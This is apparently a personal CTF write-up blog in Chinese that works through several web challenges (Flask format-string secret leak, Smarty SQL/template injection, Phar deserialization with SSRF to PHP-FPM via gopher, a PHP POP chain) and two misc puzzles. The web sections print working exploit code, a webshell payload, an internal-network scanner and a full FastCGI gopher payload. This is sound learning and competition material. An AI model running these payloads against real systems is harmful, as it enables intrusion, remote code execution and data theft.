Web
选拔赛Web复现: Pythop
本题看似是PHP,但是其响应头和报错无不表明这是一个Flask,只不过路由名字都加了.php。
首先访问靶机,会跳转到login.php,先注册个账号:
登录会显示“给你看个大宝贝”:
进去看看,发现是一个任意文件读:
阅读代码可知只需要传入 img=../app.py
再Base64解码就能得到源码了:
注:这里在比赛环境下被Nginx反向代理ban掉了../,会在这一步卡住,读不到源码...
import os
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect,url_for
from Users import Users
users=Users()
app=Flask(__name__)
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
if not session or not session.get('username'):
return redirect("login.php")
else:
return render_template("index.html",username=session.get('username') )
@app.route('/login.php',methods=['GET','POST'])
def login():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and users.login(username,password):
session['username']=username
return "Login success! <a href='show.php?img=dabaobei.png'>给你看个大宝贝</a>"
else:
return "Login fail!"
return render_template("login.html")
@app.route('/logout.php',methods=['GET','POST'])
def logout():
session.clear()
return redirect("login.php")
@app.route('/show.php',methods=['GET','POST'])
def show ():
def waf(s):
blacklist = ['flag','proc','sys','os','exec','eval','subprocess','input','open','env','config']
for i in blacklist:
if i in s:
return True
if not session or not session.get('username'):
return redirect("login.php")
if (img:=request.args.get('img')) and not waf(img):
return '''<img width=520 src="data:image/png;base64,'''+base64.b64encode(open('static/'+img,"rb").read()).decode()+'''">'''
@app.route('/register.php',methods=['GET','POST'])
def register():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
return "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
else:
return "Register fail!"
return render_template("register.html")
@app.route('/flag.php',methods=['GET','POST'])
def get_flag():
if not session or not session.get('username'):
return redirect("login.php")
if (flag:=request.args.get('flag')):
if session.get('username')=="admin" and flag=="get_flag":
return "Flag is: "+ os.environ.get('GZCTF_FLAG') if os.environ.get('GZCTF_FLAG') else "No flag found!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
同时看看它引入的Users.py:
import hashlib
class Users:
passwords={}
def register(self,username,password):
if username in self.passwords:
return False
self.passwords[username]=hashlib.md5(password.encode()).hexdigest()
return True
def login(self,username,password):
if username in self.passwords and self.passwords[username]==hashlib.md5(password.encode()).hexdigest():
return True
return False
显然就是要利用Flask的Secret Key修改Session,登录admin,然后访问 /flag.php?flag=get_flag
即可得到flag。
猜测在注册页面的回显存在SSTI,尝试在username传入 {{config}}
,发现没成功,再尝试传入 {config}
发现报错了:
通过代码和Hint可知,这道题就是要利用注册存在的format格式化字符串存在的漏洞了。
查阅资料了解到,当两个format连着使用且第一个format传入的内容可控则存在漏洞:
在执行第二个format时,第一个format若传入的刚好是形如 {xxx}
的字符串,则它会被第二个字符串解析并进行格式化,例如:
username = "{password}"
password = "123456"
string = "{username}".format(username=username).format(password=password)
print(string) # 此时会打印123456
那么这道题的解题思路就有了,已知admin密码的md5值也是Flask的Secret Key,而且存储在了users.passwords中,那么只需要读取users.passwords就可以读到Secret Key,然后直接修改Session内容为admin即可。
payload如下:
POST: password=111&username={users.passwords}
接下来修改Session即可:
python flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6ImFhYSJ9.Z0RsxA.cUU8GhaG8-CXxtaqL7m-aSRE2d8" -s "6dcf3ab23e010b28a82dac66b10b48ed"
# b'{"username":"aaa"}'
python flask_session_cookie_manager3.py encode -t '{"username":"admin"}' -s "6dcf3ab23e010b28a82dac66b10b48ed"
# eyJ1c2VybmFtZSI6ImFkbWluIn0.Z0RtKQ.21ErNfBHVvTHTsxqNXY2IGGxiY0
修改为得到的Session,然后访问 /flag.php?flag=get_flag
即可得到flag(在本地搭建会得到No flag found!)。
总结
比赛过程中没做出来实在可惜。
通过这道题学习到了可以利用Python的格式化字符串漏洞来读取敏感信息(经过测试不能RCE,只能读变量)。
有关在无法读到完整源代码的情况下如何判断是防火墙或Nginx反向代理的影响而不是被waf:
在/show.php路由的报错中能够找到以下部分:
if not session or not session.get('username'):
return redirect("login.php")
if (img:=request.args.get('img')) and not waf(img):
return '''<img width=520 src="data:image/png;base64,'''+base64.b64encode(open('static/'+img,"rb").read()).decode()+'''">'''
通常情况下,在未登录的时候访问/show.php会跳转到/login.php,运行不到对img参数进行waf那一步,而此时却是直接超时,因此可以判断不是题目本身的waf。
而在之前的新生赛中同样存在SQL注入 1' or 1=1#
超时的问题,情况类似,所以得到以上判断。
BUUCTF: [D3CTF 2019]EasyWeb
阅读源码可以发现是一个框架,先打开注册登录:
可以在/user/index下发现一个基于用户名渲染出来的页面。
进/application/controllers/User.php看看index是怎么定义的:
public function index()
{
if ($this->session->has_userdata('userId')) {
$userView = $this->Render_model->get_view($this->session->userId);
$prouserView = 'data:,' . $userView;
$this->username = array('username' => $this->getUsername($this->session->userId));
$this->ci_smarty->assign('username', $this->username);
$this->ci_smarty->display($prouserView);
} else {
redirect('/user/login');
}
}
可以发现它会将user_id传入get_view拿到用户名,然后拼接上一个data协议就丢进框架的display里面了。
跟进get_view(/application/models/Render_model.php):
public function get_view($userId){
$res = $this->db->query("SELECT username FROM userTable WHERE userId='$userId'")->result();
if($res){
$username = $res[0]->username;
$username = $this->sql_safe($username);
$username = $this->safe_render($username);
$userView = $this->db->query("SELECT userView FROM userRender WHERE username='$username'")->result();
$userView = $userView[0]->userView;
return $userView;
}else{
return false;
}
}
private function safe_render($username){
$username = str_replace(array('{','}'),'',$username);
return $username;
}
private function sql_safe($sql){
if(preg_match('/and|or|order|delete|select|union|load_file|updatexml|\(|extractvalue|\)|/i',$sql)){
return '';
}else{
return $sql;
}
}
可以发现其进行了两次对SQL注入的过滤,第一次判断字符串里面有没有黑名单的字符,第二次将 {
和 }
去掉。
这就存在SQL注入的漏洞了,只需要用户名是形如:
1' un{ion sel}ect 1 #
这样的格式,就可以绕过waf,并拼接进后续的查询语句中。
而既然查询得到的结果会被拼接上data:协议并被display,这里显然就是要进行模板注入了。
查阅资料了解到Smarty这个框架支持使用 {{$smarty.version}}
这样形式的标签生成模板。
需要注意的是,模板注入中存在的花括号会撞上waf,这里可以使用十六进制绕过。
所以想要获得框架的版本号,只需要注册:
1' un{ion sel}ect 0x7b7b24736d617274792e76657273696f6e7d7d #
这样一个账号,然后登录访问/user/index即可。
非预期解
由于出题师傅采用了兼容低版本的SmartyBC引擎,在Smarty3的官方手册有以下描述:
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
SmartyBC支持php标签执行被包裹在其中的php指令,所以…这就可以RCE了。
只需要将上文的 {{$smarty.version}}
替换成 {{php}}eval($_POST[1]);{{/php}}
,就结束了…
payload:
1' un{ion sel}ect 0x7b7b7068707d7d6576616c28245f504f53545b315d293b7b7b2f7068707d7d #
接下来就是:
ls /
cat /WelL_Th1s_14_fl4g
预期解
使用SmartyBC引擎是出题师傅的疏漏,这道题的本意是要利用忽略掉的文件上传功能,挖出这个框架的POP链后打Phar反序列化,最后才能RCE。
参考:2019 D^3 CTF-easyweb预期解复现 | Somnus’s blog
总结
通过这道题重点了解到了对于POP链的挖掘的相关知识,积累到了SmartyBC框架可以利用php标签RCE,了解了SQL二次注入和模板注入。
BUUCTF: [NCTF2019]phar matches everything
原题的Hint提示有vim的.swp泄露,但是buu上的题目没泄露,而且给的源码链接还挂了,最后读了wp才找到源码…
根据题目提示,再加之打开是读取文件的MIME,就知道是打Phar反序列化了。
catchmime.php:
<?php
class Easytest {
protected $test;
public function funny_get(){
return $this->test;
}
}
class Main {
public $url;
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}
if(isset($_POST["submit"])) {
$check = getimagesize($_POST['name']);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
} else {
echo "File is not an image.";
}
}
?>
显然这道题是要利用Phar反序列化修改Main类的url属性以实现SSRF,Phar反序列化会在执行 getimagesize
时触发。
同时需要通过GET传入careful参数,内容为一个序列化字符串,来修改Easytest类的test属性。
此外绕过一下对文件类型的检查即可(添加GIF89a文件头)。
所以exp:
<?php
@unlink("1.gif");
class Easytest{
protected $test = "1";
}
class Main {
public $url = "file:///etc/passwd";
}
$test = new EasyTest;
echo urlencode(serialize($test));
# O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
$obj = new Main();
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();");
$phar->setMetadata($obj);
$phar->addFromString("1.gif", "1");
$phar->stopBuffering();
unset($phar);
rename("1.phar", "1.gif");
?>
接下来将生成的1.gif上传,得到上传后的文件名。
访问catchmime.php即可实现SSRF/任意文件读,payload:
GET: careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
POST: name=phar:///var/www/html/uploads/060e64fa25.gif/1.gif&submit=
之后尝试读了/flag、/proc/1/environ、/proc/self/environ都读不到东西。
也尝试过找3306(MySQL)、5432(PostgreSQL)、6379(Redis)等常见数据库服务的端口,均无果。
读了WP才知道这道题是要打内网——利用SSRF攻击内网的PHP-FPM。
继而读/etc/hosts,发现也没给出内网的IP地址:
查阅资料了解到/proc/net/fib_trie会提供关于FIB(Forwarding Information Base,转发信息库)Trie(前缀树)的信息。其作用是高效地存储和查找路由表项。它以一种前缀树的形式组织了路由表项,其中每个节点表示一个路由前缀。通过在树中进行前缀匹配,内核可以快速找到与目标IP地址最匹配的路由表项。
即这个文件会存在靶机的内网IP和路由信息。
期间靶机过期过一次,需要从该步骤开始继续做题
读取得到:
Main:
+-- 0.0.0.0/0 3 0 5
+-- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.244.53
/32 host LOCAL
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
Local:
+-- 0.0.0.0/0 3 0 5
+-- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.244.53
/32 host LOCAL
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
其中10.244.244.53就是靶机的内网IP。
原WP里说靶机和PHP-FPM服务器IP差的不多,但是试了几个都没找到,故尝试搓个脚本扫整个内网网段:
import requests
import re
import time
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0",
"Referer": "http://3f685e0f-c9ae-469f-aa85-f2026f29a7e4.node5.buuoj.cn:81/",
"Accept": "*/*;"
}
i = 0
while i < 256:
i += 1
if i == 53:
continue
requests.get("http://127.0.0.1/phar.php?target=http://10.244.244.{}/".format(str(i)))
time.sleep(0.5)
with open("1.gif", "rb") as f:
files = {
"fileToUpload": f
}
res1 = requests.post("http://3f685e0f-c9ae-469f-aa85-f2026f29a7e4.node5.buuoj.cn:81/upload.php", headers=headers, files=files)
try:
filename = re.findall("file (.*).gif", res1.text)[0]
except:
i -= 1
continue
print(filename)
data = {
"name": "phar:///var/www/html/uploads/{}.gif/1.gif".format(filename),
"submit": ""
}
try:
res2 = requests.post("http://3f685e0f-c9ae-469f-aa85-f2026f29a7e4.node5.buuoj.cn:81/catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D", headers=headers, data=data, timeout=3)
except:
print("10.244.244.{} is not target".format(str(i)))
continue
if res2.text == "File is not an image.":
print("10.244.244.{} is not target".format(str(i)))
continue
print(res2.text)
print("target is 10.244.244.{}".format(str(i)))
break
相应的位于127.0.0.1的phar.php需要修改为:
...
class Main {
public $url;
public function __construct($url) {
$this->url = $url;
}
}
$obj = new Main($_GET['target']);
...
执行得到:
83e6280f1b
File is not an image.powered by good PHP-FPM
target is 10.244.244.210
所以PHP-FPM位于10.244.244.210。
接下来就是利用 脚本 生成gopher协议传输tcp数据的payload了:
python main.py 10.244.244.210 /var/www/html/index.php -p 9000 -c "<?php phpinfo(); ?>" -u
# %01%01ya%00%08%00%00%00%01%00%00%00%00%00%00%01%04ya%01%DB%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH19%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%01%04ya%00%00%00%00%01%05ya%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05ya%00%00%00%00
所以打SSRF的url为:
gopher://10.244.244.210:9000/_%01%01ya%00%08%00%00%00%01%00%00%00%00%00%00%01%04ya%01%DB%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH19%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%01%04ya%00%00%00%00%01%05ya%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05ya%00%00%00%00
成功得到phpinfo:
在phpinfo中有以下两个关键点:
disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,putenv,proc_open,passthru,symlink,link,syslog,imap_open,dl,system,mb_send_mail,mail,error_log,unlink,delete,copy,rmdir
open_basedir: /var/www/html:/tmp
命令执行、创建符号链接都被ban了,还不能读根目录。
这里需要绕过open_basedir,查阅资料了解到PHP可以使用chdir(切换目录)和ini_set(重设php.ini)来绕过open_basedir,具体分析过程的博客挂了,这里附上 Wayback Machine 的链接。
所以payload:
<?php mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/')); ?>
重复上述gopher打PHP-FPM的过程就能找到flag在根目录下了:
接下来 var_dump(file_get_contents('/flag'));
即可。
总结
通过这道题积累了打PHP-FPM的脚本,了解到了flag存在于内网的其他服务器上的情况,同时练习了PHP的反序列化和Phar的反序列化,积累到了绕过open_basedir的姿势。
古剑山2024: un
打开页面可以发现是一个任意文件读,尝试直接读/flag发现大部分特殊符号都被ban了。
进而考虑先读源码 f=index.php
:
<?php
error_reporting(0);
class pop
{
public $aaa;
public static $bbb = false;
public function __wakeup()
{
// PHP 5.4
throw new Exception("You're banned to serialize pop!");
}
public function __destruct()
{
for ($i=0; $i<2; $i++) {
if (self::$bbb) {
$this->aaa[1]($this->aaa[2]);
} else {
self::$bbb = call_user_func($this->aaa["object"]);
}
}
}
}
if (isset($_GET["code"])) {
unserialize(base64_decode($_GET["code"]));
} elseif (isset($_GET["f"])) {
if(is_string($_GET["f"]) === false){
echo "The f param must be string";
exit();
}
$user_f = $_GET["f"];
$regex = "/[ <>?!@#$%&*()+=|\\-\\\\}{:\";'~`,\\/]/";
if(preg_match($regex, $user_f)){
echo "The ".$user_f." has been detected by regular expression: ".$regex;
exit();
}
echo file_get_contents($user_f);
}else{
echo "<a href='/index.php?f=secret'>show me secret!</a>";
}
发现index.php里面还有一个反序列化的操作,显然就是要利用上面的pop类了。
注入点位于 $this->aaa[1]($this->aaa[2]);
函数名和参数都可控。
同时需要将bbb这个静态属性修改为true,而 self::$bbb = call_user_func($this->aaa["object"]);
就是一个赋值操作,只需要找一个无参数还返回true的函数即可。
第一次循环会修改bbb的值,第二次循环就会执行我们需要的命令了。
最后payload:
<?php
class pop
{
public $aaa;
public static $bbb = false;
public function __construct($aaa) {
$this->aaa = $aaa;
}
}
echo serialize(new pop(["object" => "phpinfo", 1 => "system", 2 => "cat /flag"]));
# O:3:"pop":1:{s:3:"aaa";a:3:{s:6:"object";s:7:"phpinfo";i:1;s:6:"system";i:2;s:9:"cat /flag";}}
还需要打快速反序列化绕过__wakeup,把”pop”:1改为”pop”:2,然后base64 encode即可。
Misc
选拔赛Misc复现:2025
根据提示可以发现一共12组数字,每组数字范围都是01-31,后续又提示了星期,显然就是要查看2025年日历了。
在读日期的过程中发现一月的日期连起来像一个字母T,进而考虑是要把日期都选出来就看出flag了。
发现 Time.is 这个网站自带一个高亮选中日期的函数:
function dayclick(o) {
var id = o.id
pstart = id.split('_')
pstart[3] = new Date(Date.UTC(pstart[1], pstart[2] - 1, pstart[3]))
if (chosendayid != 0) {
tm = gob(chosendayid)
if (tm)
tm.className = tm.className.replace(' chosen', '')
}
if (id != chosendayid) {
tm = gob(id)
tm.className = tm.className + ' chosen'
chosendayid = id
thisday(gob(id))
} else {
chosendayid = 0
pstart = []
thisdayout(gob(id))
}
}
但是每次选中下一个日期,就会把前一个日期的高亮去掉,只需要把去掉高亮的代码删了,然后在控制台覆盖这个函数:
function dayclick(o) {
var id = o.id
pstart = id.split('_')
pstart[3] = new Date(Date.UTC(pstart[1], pstart[2] - 1, pstart[3]))
if (id != chosendayid) {
tm = gob(id)
tm.className = tm.className + ' chosen'
}
}
接下来按照题目把日期都选上:
总结
嗯…这是脑洞题吧?(´ー∀ー`)
选拔赛Misc复现:RainbowCat
看到给了加密压缩包里面的文件就知道是明文攻击了。
但是尝试了7-zip和WinRAR对已知文件进行压缩,然后用ARCHPR进行明文攻击都得不到加密压缩包的密码。
赛后经出题人提示,不同的压缩软件的压缩算法存在差异,进行明文攻击必须要使用对应的压缩软件压缩…
常见的压缩软件除了7-zip和WinRAR不就剩下Bandizip了…
aaaaaa——/(ㄒoㄒ)/~~
在使用Bandizip压缩meao.png后顺利地开始破解了:
然后保存解密的压缩包,提取出里面gif的每一帧就找到flag了:
总结
意识到了自己对于压缩包方面的积累的不足,导致在比赛的紧张环境下没能及时想到换其他的压缩软件。